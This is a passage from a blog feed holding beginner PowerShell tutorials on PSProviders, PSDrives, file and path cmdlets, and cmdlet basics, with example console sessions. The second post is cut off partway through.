<p>As we can see there are provider for other types other than FileSystem, this can me extended depending on PowerShell modules loaded and installed on a system for example on Windows 7 systems with the Remote Administration Tools or Windows 2008 R2 Domain Controller the can have access to an Active Directory provider, machines with the VMware PowerCLI installed will have access to providers for VMware Datastore and Virtual Infrastructures:</p>

<pre>PowerCLI C:\&gt; Get-PSProvider

Name                 Capabilities                  Drives
----                 ------------                  ------
WSMan                Credentials                   {WSMan}
Alias                ShouldProcess                 {Alias}
Environment          ShouldProcess                 {Env}
FileSystem           Filter, ShouldProcess         {C, A, D}
Function             ShouldProcess                 {Function}
Registry             ShouldProcess, Transactions   {HKLM, HKCU}
Variable             ShouldProcess                 {Variable}
Certificate          ShouldProcess                 {cert}
VimDatastore         ShouldProcess                 {vmstores, vmstore}
VimInventory         Filter                        {vis, vi}</pre>

<p>Using one of this providers is quite simple, for it we use the New-PSDrive cmdlet, options for the cmdlet may change depending on the provider used so if using any external provide do look at the documentation provided by the company that made the provider. Each provider has different capabilities and this capabilities dictate what can be done on the data that is accessed, for example:</p>

<ul>
  <li>ShouldProcess - Cmdlets that support the -Confirm and -WhatIf parameter can be used against the PSDrive. </li>

  <li>Credentials - Cmdlets that use the -Credential parameter can be used against the PSDrive </li>

  <li>Transactions - Cmdlets can me executed in a transactional fashion and use the parameter -UseTransaction against the PSDrive. </li>

  <li>Filter - Cmdlets can use wildcard filtering for enumerating objects using the -Filter parameter against the PSDrive. </li>
</ul>

<p>Lets map a drive:</p>

<pre>PS C:\Users\carlos&gt; New-PSDrive -Name isostore -Root \\192.168.1.2\isostore -PSProvider filesystem

Name           Used (GB)     Free (GB) Provider      Root                      CurrentLocation
----           ---------     --------- --------      ----                      ---------------
isostore                               FileSystem    \\192.168.1.2\isostore

PS C:\Users\carlos&gt; ls isostore:


    Directory: \\192.168.1.2\isostore


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
da---         1/26/2012  12:49 PM            Oracle
da---         3/27/2012   1:11 PM            Microsoft
da---         3/15/2012   7:34 PM            Linux
da---        12/30/2011   3:49 PM            FreeBSD
da---         3/15/2012   7:33 PM            Solaris
d----         12/2/2011  11:29 AM            unlock-all-v102
da---         3/15/2012   7:34 PM            VMWare
da---         2/27/2012   8:04 AM            Apple
-a---         2/24/2012   9:51 PM 3589316608 8250.0.WINMAIN_WIN8BETA.120217-1520_X64FRE_SERVER_EN-US-HB1_SSS_X64FRE_EN-
                                             US_DV5.ISO
-a---          1/4/2012   2:06 PM        403 shutdown_vms.rb
-a---         4/13/2011   3:17 AM  531705856 openfileresa-2.99.1-x86_64-disc1.iso
-a---         10/8/2007   4:06 PM  661127168 win2k3entsp2.iso
-a---        12/30/2011   7:32 PM  115838976 pfSense.iso
-a---          1/2/2012  11:16 PM  533204992 XenServer-6.0.0-install-cd.iso
-a---          1/4/2012   1:50 PM        177 shtdown.sh
-a---          5/4/2011   5:42 PM  369717248 VMware-VMvisor-Installer-4.0.0.Update01-208167.x86_64.iso</pre>

<p>One thing that we need to keep in mind is that the drives we create are only present in the current PowerShell Session only and only can be accessed by the session so Windows Explorer and other tools on windows will not have access to the drive. Also as we can see in the example we can use a longer name for the drive than the letters we are used to use on Windows when mapping drives.</p>

<h2>Working with Items</h2>

<h3>Listing Items</h3>

<p>Lets look first at listing the contents of the current working folder for this we will use the Get-ChildItem cmdlet:</p>

<pre>PS C:\&gt; Get-ChildItem


    Directory: C:\


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         7/13/2009  11:20 PM            PerfLogs
d-r--          4/5/2012  10:27 PM            Program Files
d-r--          4/8/2012   6:39 PM            Program Files (x86)
d----          4/5/2012   7:42 PM            Python27
d----          4/5/2012   7:41 PM            Python32
d----          4/5/2012   7:38 PM            Ruby193
d----          4/6/2012  12:27 PM            SysinternalsSuite
d-r--          4/5/2012  10:54 PM            Users
d----          4/8/2012  11:14 AM            Windows
-a---          4/5/2012  10:32 PM       1024 .rnd</pre>

<p>As we can see we get a listing of the files and folders and basic information about them. Each item is in fact a .Net object of System.IO.FileInfo type that we can manipulate. Lets try searching in a given path for a file that matches a wild card, as we saw before when talink about PSProviders the FileSystem provider allows for filtering. Lets search for any file that starts with telnet in my install of Ruby 1.9.3:</p>

<pre>PS C:\&gt; Get-ChildItem -Path .\Ruby193 -Recurse -Filter telnet*


    Directory: C:\Ruby193\lib\ruby\1.9.1\net


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         5/18/2011   9:07 PM      32598 telnet.rb</pre>

<h3>Creating Files and Folders</h3>

<p>Lets crate a directory and file for us to use to keep exploring the cmdlets, lets start by using the New-Item cmdlet to create a folder called testfolder:</p>

<pre>PS C:\&gt; New-Item -Path . -Name testfolder -ItemType &quot;directory&quot;


    Directory: C:\


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----          4/9/2012  11:45 AM            testfolder</pre>

<p>As with all cmdlets I mention on the blog posts I do recommend that you look at full help of the command and look at the members of the objects returned as covered in the initial blogposts. </p>

<p>Now lets create a file, for this we will use the ItemType of &quot;file&quot; to indicate we want a file.</p>

<pre>PS C:\&gt; New-Item -Path .\testfolder -Name testfile -ItemType &quot;file&quot;


    Directory: C:\testfolder


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---          4/9/2012  11:53 AM          0 testfile</pre>

<h3>&#160;</h3>

<h3>Working with Items</h3>

<p>Now that we have a file we can work with lets look at the properties and methods available with the Get-Item cmdlet:</p>

<pre>PS C:\&gt; Get-Item -Path .\testfolder\testfile | Get-Member


   TypeName: System.IO.FileInfo

Name                      MemberType     Definition
----                      ----------     ----------
Mode                      CodeProperty   System.String Mode{get=Mode;}
AppendText                Method         System.IO.StreamWriter AppendText()
CopyTo                    Method         System.IO.FileInfo CopyTo(string destFileName), System.IO.FileInfo CopyTo(s...
Create                    Method         System.IO.FileStream Create()
CreateObjRef              Method         System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)
CreateText                Method         System.IO.StreamWriter CreateText()
Decrypt                   Method         System.Void Decrypt()
Delete                    Method         System.Void Delete()
Encrypt                   Method         System.Void Encrypt()
Equals                    Method         bool Equals(System.Object obj)
GetAccessControl          Method         System.Security.AccessControl.FileSecurity GetAccessControl(), System.Secur...
GetHashCode               Method         int GetHashCode()
GetLifetimeService        Method         System.Object GetLifetimeService()
GetObjectData             Method         System.Void GetObjectData(System.Runtime.Serialization.SerializationInfo in...
GetType                   Method         type GetType()
InitializeLifetimeService Method         System.Object InitializeLifetimeService()
MoveTo                    Method         System.Void MoveTo(string destFileName)
Open                      Method         System.IO.FileStream Open(System.IO.FileMode mode), System.IO.FileStream Op...
OpenRead                  Method         System.IO.FileStream OpenRead()
OpenText                  Method         System.IO.StreamReader OpenText()
OpenWrite                 Method         System.IO.FileStream OpenWrite()
Refresh                   Method         System.Void Refresh()
Replace                   Method         System.IO.FileInfo Replace(string destinationFileName, string destinationBa...
SetAccessControl          Method         System.Void SetAccessControl(System.Security.AccessControl.FileSecurity fil...
ToString                  Method         string ToString()
PSChildName               NoteProperty   System.String PSChildName=testfile
PSDrive                   NoteProperty   System.Management.Automation.PSDriveInfo PSDrive=C
PSIsContainer             NoteProperty   System.Boolean PSIsContainer=False
PSParentPath              NoteProperty   System.String PSParentPath=Microsoft.PowerShell.Core\FileSystem::C:\testfolder
PSPath                    NoteProperty   System.String PSPath=Microsoft.PowerShell.Core\FileSystem::C:\testfolder\te...
PSProvider                NoteProperty   System.Management.Automation.ProviderInfo PSProvider=Microsoft.PowerShell.C...
Attributes                Property       System.IO.FileAttributes Attributes {get;set;}
CreationTime              Property       System.DateTime CreationTime {get;set;}
CreationTimeUtc           Property       System.DateTime CreationTimeUtc {get;set;}
Directory                 Property       System.IO.DirectoryInfo Directory {get;}
DirectoryName             Property       System.String DirectoryName {get;}
Exists                    Property       System.Boolean Exists {get;}
Extension                 Property       System.String Extension {get;}
FullName                  Property       System.String FullName {get;}
IsReadOnly                Property       System.Boolean IsReadOnly {get;set;}
LastAccessTime            Property       System.DateTime LastAccessTime {get;set;}
LastAccessTimeUtc         Property       System.DateTime LastAccessTimeUtc {get;set;}
LastWriteTime             Property       System.DateTime LastWriteTime {get;set;}
LastWriteTimeUtc          Property       System.DateTime LastWriteTimeUtc {get;set;}
Length                    Property       System.Int64 Length {get;}
Name                      Property       System.String Name {get;}
BaseName                  ScriptProperty System.Object BaseName {get=if ($this.Extension.Length -gt 0){$this.Name.Re...
VersionInfo               ScriptProperty System.Object VersionInfo {get=[System.Diagnostics.FileVersionInfo]::GetVer...</pre>

<p>For getting properties for the file object we have several ways to achive this first one is using the Get-ItemProperty cmdlet by given as the name the object property:</p>

<pre>PS C:\&gt; Get-ItemProperty -Path .\testfolder\testfile -Name LastAccessTime

PSPath         : Microsoft.PowerShell.Core\FileSystem::C:\testfolder\testfile
PSParentPath   : Microsoft.PowerShell.Core\FileSystem::C:\testfolder
PSChildName    : testfile
PSDrive        : C
PSProvider     : Microsoft.PowerShell.Core\FileSystem
LastAccessTime : 4/9/2012 11:53:25 AM</pre>

<p>Another Method we can use is to get the object and just request it, lets look at some properties that security professionals will find quite interesting:</p>

<pre>PS C:\&gt; (Get-Item -Path .\testfolder\testfile).LastWriteTime

Monday, April 09, 2012 11:53:25 AM


PS C:\&gt; (Get-Item -Path .\testfolder\testfile).LastAccessTime

Monday, April 09, 2012 11:53:25 AM


PS C:\&gt; (Get-Item -Path C:\Windows\System32\aaclient.dll).VersionInfo

ProductVersion   FileVersion      FileName
--------------   -----------      --------
6.1.7600.16385   6.1.7600.1638... C:\Windows\System32\aaclient.dll</pre>

<p>Just like other shell we can redirect output of commands as text to files using &gt; and &gt;&gt; symbols:</p>

<ul>
  <li><strong><em>cmdlet &gt; filename</em></strong> - Redirect command output to a file and overwrite content. </li>

  <li><strong><em>cmdlet &gt;&gt; filename</em></strong> - append into a file </li>

  <li><strong><em>cmdlet 2&gt; filename</em></strong> - Redirect Errors from operation to a file and overwrite content. </li>

  <li><strong><em>cmdlet 2&gt;&gt; filename</em></strong> - Append errors to a file </li>

  <li><strong><em>cmdlet 2&gt;&amp;1</em></strong> - Add errors to output </li>

  <li><strong><em>cmdlet 1&gt;&amp;2</em></strong> - Add output to errors </li>
</ul>

<p>Lets look also at the Add-Content cmdlet:</p>

<pre>PS C:\&gt; Add-Content -Path C:\testfolder\testfile -Value (get-date)
PS C:\&gt; Get-Content -Path C:\testfolder\testfile
4/9/2012 3:39:29 PM</pre>

<p>Lets work with the object method to modify the file, in this case we will use EFS to encrypt the file on NTFS, lets start with checking if the file is encrypted:</p>

<pre>PS C:\&gt; (Get-Item -Path .\testfolder\testfile).attributes
Archive</pre>

<p>Now lets encrypt the file and see if its encrypted:</p>

<pre>PS C:\&gt; (Get-Item -Path .\testfolder\testfile).encrypt()
PS C:\&gt; (Get-Item -Path .\testfolder\testfile).attributes
Archive, Encrypted</pre>

<p>We can even confirm using the cipher.exe command:</p>

<pre>PS C:\&gt; cipher.exe /c .\testfolder\testfile

 Listing C:\testfolder\
 New files added to this directory will not be encrypted.

E testfile
  Compatibility Level:
    Windows XP/Server 2003

  Users who can decrypt:
    infidel01\Carlos [Carlos(Carlos@infidel01)]
    Certificate thumbprint: 45F5 3D35 94B0 3C47 B727 AB63 0198 F19A 2793 1283

  No recovery certificate found.

  Key Information:
    Algorithm: AES
    Key Length: 256
    Key Entropy: 256</pre>

<p>Lets Rename an item with the Rename-Item cmdlet:</p>

<pre>PS C:\&gt; Rename-Item -Path C:\testfolder -NewName test_folder
PS C:\&gt; ls


    Directory: C:\


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         7/13/2009  11:20 PM            PerfLogs
d-r--          4/5/2012  10:27 PM            Program Files
d-r--          4/8/2012   6:39 PM            Program Files (x86)
d----          4/5/2012   7:42 PM            Python27
d----          4/5/2012   7:41 PM            Python32
d----          4/5/2012   7:38 PM            Ruby193
d----          4/6/2012  12:27 PM            SysinternalsSuite
d----          4/9/2012   4:44 PM            test_folder
d-r--          4/5/2012  10:54 PM            Users
d----          4/8/2012  11:14 AM            Windows
-a---          4/5/2012  10:32 PM       1024 .rnd</pre>

<p>&#160;</p>

<p>Lets delete the file we have been using for the examples:</p>

<pre>PS C:\&gt; Remove-Item -Path C:\test_folder\testfil
PS C:\&gt; ls .\test_folder


    Directory: C:\test_folder


Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---          4/9/2012   3:39 PM         21 testfile


PS C:\&gt;  Remove-Item -Path C:\test_folder\testfile
PS C:\&gt; ls .\test_folder</pre>

<h2>Working with Paths</h2>

<p>Lets look at working with paths, we will firs start with defining the difference of Path and LiteralPath in the parameters of several commands. This is a source of confusion for many people learning PowerShell on their own by exploring the shell cmdlets. When working with a file system on a drive or share Powershell Windows restricts the characters that can be used for a file name, like *, ?, /, $ and others since they are use for variable expansion and wildcard search but since PowerShell lets us work with Active Directory, Certificate Store, Registry and others that do not have the same restrictions as the file system. This is why we use -Path when we want the special characters treated as wildcards and -LiteralPath for those cases where those special characters are part of the item names. An example of expansion:</p>

<pre>PS C:\&gt; Set-Location -Path Perf*
PS C:\PerfLogs&gt;</pre>

<p>We can see as wildcards where used to match the path. To get the current location of where we are in a provider we use the Get-Location cmdlet:</p>

<pre>PS C:\PerfLogs&gt; Get-Location

Path
----
C:\PerfLogs</pre>

<p>To Change locations we use the Set-Location cmdlet:</p>

<pre>PS C:\PerfLogs&gt; Set-Location C:\testfolder
PS C:\testfolder&gt; Get-Location

Path
----
C:\testfolder</pre>

<p>We can take a path and add a child item to the path with Join-Path cmdlet:</p>

<pre>PS C:\&gt; Join-Path -Path C:\Windows -ChildPath system
C:\Windows\system</pre>

<p>We can also have it join a path using wildcards:</p>

<pre>PS C:\&gt; Join-Path -Path C:\Win* -ChildPath tem* -Resolve
C:\Windows\Temp</pre>

<p>We can also give it a list of path to append a child object to:</p>

<pre>PS C:\&gt; join-path -path c:\windows,c:\python,c:\ruby  -ChildPath temp
c:\windows\temp
c:\python\temp
c:\ruby\temp</pre>

<p>Some time we will find our self with path that we obtained from a property of an object and we may need to extract parts of the path, for this we will use the Split-Path cmdlet and we can get different pats of the paths depending of what we want:</p>

<pre>PS C:\&gt; split-path c:\windows\secret.txt
c:\windows
PS C:\&gt; split-path c:\windows\secret.txt -Qualifier
c:
PS C:\&gt; split-path c:\windows\secret.txt -NoQualifier
\windows\secret.txt
PS C:\&gt; split-path c:\windows\secret.txt -Parent
c:\windows
PS C:\&gt; split-path c:\windows\secret.txt -Leaf
secret.txt</pre>

<p>It also supports extracting parts from other types of paths:</p>

<pre>PS C:\&gt; Split-Path -Path /var/log/tftp.log -Leaf
tftp.log
PS C:\&gt; Split-Path -Path /var/log/tftp.log -Parent
\var\log
PS C:\&gt; split-path -Path http://www.darkoperator.com/index.html -Qualifier
http:
PS C:\&gt; split-path -Path http://www.darkoperator.com/index.html -NoQualifier
//www.darkoperator.com/index.html</pre>

<p>We can test if a path exists:</p>

<pre>PS C:\&gt; test-path -path HKLM:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
True
PS C:\&gt; test-path -path C:\Windows
True
PS C:\&gt; test-path -path C:\Windows\system32\aaclient.dll
True</pre>

<p>As we can see this works with both files, folders and even other paths in other providers. Lets say we want to test is the path is for a File or a Folder, for this we will use Container for Folder and Leaf for File:</p>

<pre>PS C:\&gt; test-path -path C:\Windows\system32\aaclient.dll -PathType leaf
True
PS C:\&gt; test-path -path C:\Windows\system32\aaclient.dll -PathType container
False</pre>

<h2>Conclusion</h2>

<p>I invite you to keep exploring in the registry, variables and other psdrives available and learning what is possible and not and the differences in the parameters we can use with this providers. As always I hope this blog post is useful and informative.</p>]]></content></entry><entry><title>Introduction to Microsoft PowerShell&amp;ndash; Basics of Running Cmdlets</title><id>http://www.darkoperator.com/blog/2012/3/29/introduction-to-microsoft-powershellndash-basics-of-running.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/3/29/introduction-to-microsoft-powershellndash-basics-of-running.html"/><author><name>Carlos Perez</name></author><published>2012-03-29T01:48:44Z</published><updated>2012-03-29T01:48:44Z</updated><content type="html" xml:lang="en-US"><![CDATA[<h2>PowerShell Cmdlets</h2>  <p>You will notice that for the PowerShell commands I use the word Cmdlet, that is how Microsoft calls and spells the word. In a PowerShell shell you can execute regular windows commands in addition to the cmdlets and most work without any problem some may experience problems depending on the parameters used since PowerShell uses space as a delimiter so do keep this in mind when you are running local exe files. </p>  <p>PowerShell cmdlets are in the form of a &lt;verb&gt;-&lt;noun&gt;, you will see common verbs like set, get, clear, write and stop to name a few and each belong to a group of actions, you can get an updated list of verbs at the TechNet site <a title="http://social.technet.microsoft.com/wiki/contents/articles/4537.powershell-approved-verbs-en-us.aspx" href="http://social.technet.microsoft.com/wiki/contents/articles/4537.powershell-approved-verbs-en-us.aspx">http://social.technet.microsoft.com/wiki/contents/articles/4537.powershell-approved-verbs-en-us.aspx</a> do keep this list handy because if you create any module, cmdlet or function you should follow the naming so as to not confuse users and not get warnings from PowerShell when loading modules or cmdlets. To get a list of cmdlets on PS we use the<strong> Get-Command</strong> cmdlet:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372251" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372253" width="684" height="443" /></a>&#160;</p>  <p>&#160; When ran with no options we get a list of all cmdlet, functions and Aliases we have available. Just like on a Unix shell you will notice you have functions and aliases at your disposal to call. Aliases are mainly for saving time when entering commands and to make others more familiar when ran in a shell like the <strong>ls</strong> or the <strong>cat</strong> commands:</p>  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; <strong>ls</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Directory: C:\Users\Carlos Perez
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Mode                LastWriteTime     Length Name
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">----                -------------     ------ ----
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Contacts
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         3/26/2012  11:23 PM            Desktop
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Documents
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--          3/8/2012   3:52 PM            Downloads
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Favorites
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Links
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Music
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Pictures
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Saved Games
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Searches
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Videos
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">-a---         3/28/2012   8:16 PM         28 hello.txt
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; <strong>cat .\hello.txt</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">hello world
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; <strong>rm .\hello.txt</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; <strong>ls</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Directory: C:\Users\Carlos Perez
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Mode                LastWriteTime     Length Name
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">----                -------------     ------ ----
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Contacts
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         3/26/2012  11:23 PM            Desktop
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Documents
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--          3/8/2012   3:52 PM            Downloads
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Favorites
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Links
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Music
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Pictures
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Saved Games
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Searches
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">d-r--         2/16/2012   3:03 PM            Videos
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre></pre>

<p>As we can see the aliases makes the shell behave similar to a Unix/Linux shell, but do keep in mind it is only similar, the parameters are not the same.&#160; </p>

<p>One can use the tab key to auto complete PSDrive Paths (More on this on another blog post), File Paths,&#160; Functions, Cmdlets, Function Options, Cmdlets Parameters, Variables and regular Windows Commands. So one can so<strong> Get-&lt;tab&gt;</strong> and keep hitting tab to cycle through the cmdlets available with the verb Get, the same can be done to find a cmdlet parameter like <strong>Get-Service –&lt;tab&gt;</strong></p>

<p>The Get-Command also allow us to filter using wildcards:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; Get-Command -Name *service* -CommandType cmdlet
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CommandType     Name                                                Definition
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">-----------     ----                                                ----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Get-Service                                         Get-Service [[-Name] &lt;String[]&gt;] [-ComputerName ...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          New-Service                                         New-Service [-Name] &lt;String&gt; [-BinaryPathName] &lt;...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          New-WebServiceProxy                                 New-WebServiceProxy [-Uri] &lt;Uri&gt; [[-Class] &lt;Stri...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Restart-Service                                     Restart-Service [-Name] &lt;String[]&gt; [-Force] [-Pa...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Resume-Service                                      Resume-Service [-Name] &lt;String[]&gt; [-PassThru] [-...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Set-Service                                         Set-Service [-Name] &lt;String&gt; [-ComputerName &lt;Str...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Start-Service                                       Start-Service [-Name] &lt;String[]&gt; [-PassThru] [-I...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Stop-Service                                        Stop-Service [-Name] &lt;String[]&gt; [-Force] [-PassT...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet          Suspend-Service                                     Suspend-Service [-Name] &lt;String[]&gt; [-PassThru] [...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre></pre>

<p>On Windows 8 in PowerShell v3 we have the the <strong>Show-Command</strong> cmdlet that will bring a GUI Interface for exploring the cmdlet and it options allowing us to copy the command we build or run the command:</p>

